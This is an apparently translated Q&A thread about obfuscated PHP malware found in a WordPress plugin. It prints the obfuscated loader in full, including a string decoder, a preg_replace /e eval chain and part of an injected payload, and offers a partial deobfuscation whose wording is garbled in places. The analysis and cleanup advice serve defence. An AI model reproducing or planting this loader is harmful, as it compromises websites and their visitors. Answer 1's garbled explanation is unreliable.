这个恶意代码的作用是什么？

Question

我最近在WordPress插件的远程文件中发现了一些看似恶意的代码。它很长，看起来很奇怪。我删除了它，我的网站从除主页之外的每个页面上的HTTP 500错误再次恢复正常...

编辑：这是http://blog.sucuri.net/2014/07/malware-infection-breaking-wordpress-sites.html

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$aedsarxrxu = explode(chr((279-235)),'8157,54,4068,52,9207,20,8493,49,7703,39,621,22,35,43,6385,63,3497,43,8965,45,5319,60,6260,23,7845,23,2900,46,4368,33,643,33,2221,22,997,24,6814,21,821,42,5144,54,5824,65,1327,58,7971,28,5113,31,3940,48,5262,57,4308,60,5580,24,4938,68,4248,25,1605,37,9438,63,8304,47,7537,53,9010,54,6723,32,8598,50,9316,21,6143,47,7333,22,1988,52,3236,26,9367,46,1227,46,2192,29,6958,39,1739,64,8814,42,2477,50,929,21,4637,65,1273,54,4019,49,0,35,6997,66,8253,51,9706,23,5075,38,3766,61,1186,41,7788,57,9113,40,1128,30,7426,57,5198,64,8856,42,9863,69,5952,27,9992,55,7184,33,7868,45,7742,46,3713,53,9932,60,5006,69,1963,25,3637,28,4464,58,209,35,2401,44,6755,59,6895,30,7217,46,8898,67,9337,30,4702,59,1893,36,3338,33,5663,30,7391,35,4897,41,6835,60,950,47,771,27,2572,66,10078,28,1570,35,9756,33,2373,28,9839,24,5452,50,7128,56,8211,42,4120,62,5502,57,8648,66,9064,49,798,23,8023,52,3371,25,6031,21,9227,37,1682,57,8104,53,4827,70,9293,23,9581,55,7483,54,2311,34,244,40,8405,32,676,31,10047,31,2812,22,6682,41,4401,63,9413,25,480,21,8075,29,3827,68,3988,31,4273,35,5889,63,6229,31,3895,45,4522,51,6504,43,2102,55,9636,70,905,24,523,39,6547,55,1839,54,2550,22,78,67,4182,66,284,62,6052,55,7999,24,2638,67,6107,36,1642,40,5979,52,5431,21,3262,68,9789,50,3188,48,1385,30,1021,48,6448,56,7590,58,2770,42,3009,60,1158,28,8772,42,501,22,5604,59,2040,62,2705,65,8437,56,8714,58,6602,44,9537,44,346,43,6646,36,431,49,2157,35,6283,66,2243,68,1515,55,2345,28,2834,66,3596,41,3069,61,6190,39,2445,32,8351,54,863,42,4761,66,2946,63,9264,29,5693,65,5379,52,4573,64,7063,65,562,59,145,64,389,42,1069,59,1457,58,3540,56,7648,55,9153,54,3130,58,8542,56,6925,33,6349,36,1803,36,5559,21,2527,23,7263,70,1415,42,7913,58,3396,61,9729,27,3457,40,7355,36,707,64,1929,34,3665,48,9501,36,5758,66,3330,8'); $qabxkhdqko=substr($hqjfikzgcz,(38694-28588),(41-34)); if (!function_exists('jfgitccmer')) { function jfgitccmer($lirydcgfik, $ovmrwembqq) { $tozjzswwnv = NULL; for($qpotywmsnh=0;$qpotywmsnh<(sizeof($lirydcgfik)/2);$qpotywmsnh++) { $tozjzswwnv .= substr($ovmrwembqq, $lirydcgfik[($qpotywmsnh*2)],$lirydcgfik[($qpotywmsnh*2)+1]); } return $tozjzswwnv; };} $vjdxsgvpaf="\x20\57\x2a\40\x6c\144\x6d\164\x66\156\x78\165\x68\154\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\66\x36\55\x31\62\x39\51\x29\54\x20\143\x68\162\x28\50\x35\62\x33\55\x34\63\x31\51\x29\54\x20\152\x66\147\x69\164\x63\143\x6d\145\x72\50\x24\141\x65\144\x73\141\x72\170\x72\170\x75\54\x24\150\x71\152\x66\151\x6b\172\x67\143\x7a\51\x29\51\x3b\40\x2f\52\x20\150\x71\165\x6f\170\x69\146\x67\151\x74\40\x2a\57\x20"; $qafogaxdeu=substr($hqjfikzgcz,(36023-25910),(50-38)); $qafogaxdeu($qabxkhdqko, $vjdxsgvpaf, NULL); $qafogaxdeu=$vjdxsgvpaf; $qafogaxdeu=(800-679); $hqjfikzgcz=$qafogaxdeu-1; ?>

Answer 1

（答案不完整......今天下班后将完成......）

故障：

代码格式更清晰：

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preg_rep825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860ope%x5c%x78b%x5c%x7825w:!bE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q&6|7**111127-K)ebfsX%x5c%x785c%x7825<#462]47y]252]18x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5822l:!}V;3q%x5c%x7825}U;y]}R;h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutif((function_exists("%x6f%142%x5f%163%x74%141%x72%164"5!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x782%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x7]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]KXAZASV<*w%x5c%x7825)ppde>u%x5c%xy35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x75%156%x61"]=1; function fjfgg($n){return chr(ord7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussf%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7f%163%x70%154%x69%164%50%x22%134%x78%62%x35%16<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x7.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%xjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%$GLOBALS["%x61%156%x>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)t1Ld]245]K2]285]Ke]53Ld]53]Kc]+opjudovg+)!gj+{e%x5c%x%x78257**^#zsfvr#%x5c827,*c%x5c%x7827,*b%x5c%x7827)fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)%x7878{**#k#)tutjyf%x5c%x%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj34]68]y33]65]y31]53]y6d]281]y43]78]y%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gjy72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>x5c%x7860UQPMSVD!-id%x5-#N#*%x5c%x7824%x5c%x782f%xEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5cx7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x78SFTV%x5c%x7860QUUI&b%x5c*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x782p>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubEc%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825c%x782fq%x5c%x7825>U<#16,47R57ce44#)zbssb!>!ssbnpe_GMFT%x5/(.*)/epreg_replaceligcmavovh';
$aedsarxrxu = explode(chr((279 - 235)), '8157,54,4068,52,9207,20,8493,49,7703,39,621,22,35,43,6385,63,3497,43,8965,45,5319,60,6260,23,7845,23,2900,46,4368,33,643,33,2221,22,997,24,6814,21,821,42,5144,54,5824,65,1327,58,7971,28,5113,31,3940,48,5262,57,4308,60,5580,24,4938,68,4248,25,1605,37,9438,63,8304,47,7537,53,9010,54,6723,32,8598,50,9316,21,6143,47,7333,22,1988,52,3236,26,9367,46,1227,46,2192,29,6958,39,1739,64,8814,42,2477,50,929,21,4637,65,1273,54,4019,49,0,35,6997,66,8253,51,9706,23,5075,38,3766,61,1186,41,7788,57,9113,40,1128,30,7426,57,5198,64,8856,42,9863,69,5952,27,9992,55,7184,33,7868,45,7742,46,3713,53,9932,60,5006,69,1963,25,3637,28,4464,58,209,35,2401,44,6755,59,6895,30,7217,46,8898,67,9337,30,4702,59,1893,36,3338,33,5663,30,7391,35,4897,41,6835,60,950,47,771,27,2572,66,10078,28,1570,35,9756,33,2373,28,9839,24,5452,50,7128,56,8211,42,4120,62,5502,57,8648,66,9064,49,798,23,8023,52,3371,25,6031,21,9227,37,1682,57,8104,53,4827,70,9293,23,9581,55,7483,54,2311,34,244,40,8405,32,676,31,10047,31,2812,22,6682,41,4401,63,9413,25,480,21,8075,29,3827,68,3988,31,4273,35,5889,63,6229,31,3895,45,4522,51,6504,43,2102,55,9636,70,905,24,523,39,6547,55,1839,54,2550,22,78,67,4182,66,284,62,6052,55,7999,24,2638,67,6107,36,1642,40,5979,52,5431,21,3262,68,9789,50,3188,48,1385,30,1021,48,6448,56,7590,58,2770,42,3009,60,1158,28,8772,42,501,22,5604,59,2040,62,2705,65,8437,56,8714,58,6602,44,9537,44,346,43,6646,36,431,49,2157,35,6283,66,2243,68,1515,55,2345,28,2834,66,3596,41,3069,61,6190,39,2445,32,8351,54,863,42,4761,66,2946,63,9264,29,5693,65,5379,52,4573,64,7063,65,562,59,145,64,389,42,1069,59,1457,58,3540,56,7648,55,9153,54,3130,58,8542,56,6925,33,6349,36,1803,36,5559,21,2527,23,7263,70,1415,42,7913,58,3396,61,9729,27,3457,40,7355,36,707,64,1929,34,3665,48,9501,36,5758,66,3330,8');
$qabxkhdqko = substr($hqjfikzgcz, (38694 - 28588), (41 - 34));

if (!function_exists('jfgitccmer')) {
    function jfgitccmer($lirydcgfik, $ovmrwembqq)
    {
        $tozjzswwnv = NULL;
        for ($qpotywmsnh = 0; $qpotywmsnh < (sizeof($lirydcgfik) / 2); $qpotywmsnh++) {
            $tozjzswwnv .= substr($ovmrwembqq, $lirydcgfik[($qpotywmsnh * 2)], $lirydcgfik[($qpotywmsnh * 2) + 1]);
        }

        return $tozjzswwnv;
    }

    ;
}

$vjdxsgvpaf = "\x20\57\x2a\40\x6c\144\x6d\164\x66\156\x78\165\x68\154\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\66\x36\55\x31\62\x39\51\x29\54\x20\143\x68\162\x28\50\x35\62\x33\55\x34\63\x31\51\x29\54\x20\152\x66\147\x69\164\x63\143\x6d\145\x72\50\x24\141\x65\144\x73\141\x72\170\x72\170\x75\54\x24\150\x71\152\x66\151\x6b\172\x67\143\x7a\51\x29\51\x3b\40\x2f\52\x20\150\x71\165\x6f\170\x69\146\x67\151\x74\40\x2a\57\x20";
$qafogaxdeu = substr($hqjfikzgcz, (36023 - 25910), (50 - 38));

$qafogaxdeu($qabxkhdqko, $vjdxsgvpaf, NULL);
$qafogaxdeu = $vjdxsgvpaf;
$qafogaxdeu = (800 - 679);
$hqjfikzgcz = $qafogaxdeu - 1;

这个脚本的大部分只是初始化值和隐藏内容，执行发生在：

$qafogaxdeu($qabxkhdqko, $vjdxsgvpaf, NULL);

您可以看到$qafogaxdeu是从以下位置创建的变量：

$qafogaxdeu = substr($hqjfikzgcz, (36023 - 25910), (50 - 38));

因此，第一行的$hqjfikzgcz只是一个容器，其中包含12个字符的字符串：preg_replace。

您基本上正在执行

preg_replace($qabxkhdqko, $vjdxsgvpaf, NULL);

如果您评估其他变量，您将获得：

preg_replace("/(.*)/e", " /* ldmtfnxuhl */ eval(str_replace(chr((166-129)), chr((523-431)), jfgitccmer($aedsarxrxu,$hqjfikzgcz))); /* hquoxifgit */ ");

转换为：

insert the following code into page:
/* ldmtfnxuhl */ eval(str_replace(chr((166-129)), chr((523-431)), jfgitccmer($aedsarxrxu,$hqjfikzgcz))); /* hquoxifgit */

现在，那是做什么的？ evals str_replace结果%。第一个参数是\，第二个参数是function jfgitccmer($lirydcgfik, $ovmrwembqq) { $tozjzswwnv = NULL; for ($qpotywmsnh = 0; $qpotywmsnh < (sizeof($lirydcgfik) / 2); $qpotywmsnh++) { $tozjzswwnv .= substr($ovmrwembqq, $lirydcgfik[($qpotywmsnh * 2)], $lirydcgfik[($qpotywmsnh * 2) + 1]); } return $tozjzswwnv; } ，第三个参数是您在上面看到的函数的结果：

,

给出的参数是：

• 您可以看到从第2行爆炸（通过eval）的数字数组
• 第1行的巨大字符串

然后函数循环并组装另一个字符串，如果你从上面记得，将由if ((function_exists("\x6f\142\x5f\163\x74\141\x72\164") && (!isset($GLOBALS["\x61\156\x75\156\x61"])))) { $GLOBALS["\x61\156\x75\156\x61"] = 1; function fjfgg($n) { return chr(ord($n) - 1); } @error_reporting(0); preg_replace("\x2f\50\x2e\52\x29\57\x65", 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NULL); 执行

ob_start

}

其中：

• 检查函数$_GET['anuna'] = 1是否已定义
• 设置fjfgg
• 定义了一个函数{{1}}
• 注入更多代码......

哇...这比预期花费的时间更长，下班后我会完成它......

Answer 2

删除插件并更改所有密码凭据，我尝试使用在线php解码器解码它，但那个很难。

大多数情况下，这些代码会在WordPress页面中添加隐藏的反向链接，因此请尝试搜索是否存在，或者必须提供信息。

同时检查其他文件，你会发现各个地方都会有恶意代码，因为这个原因，你的网站在每个页面上都会丢失500个错误，除了在主页上。

我是从个人经历中讲出来的。在我的主题中有一个恶意代码，它在所有页面上添加了反向链接，但是我看到它太晚了，因为它被编程为除了登录用户和管理员之外的所有人都可见

我手动尝试解码它。我得到了以下输出。但它不完整（因为只共享了一小部分代码。）。 http://pastebin.com/WJP2b7rS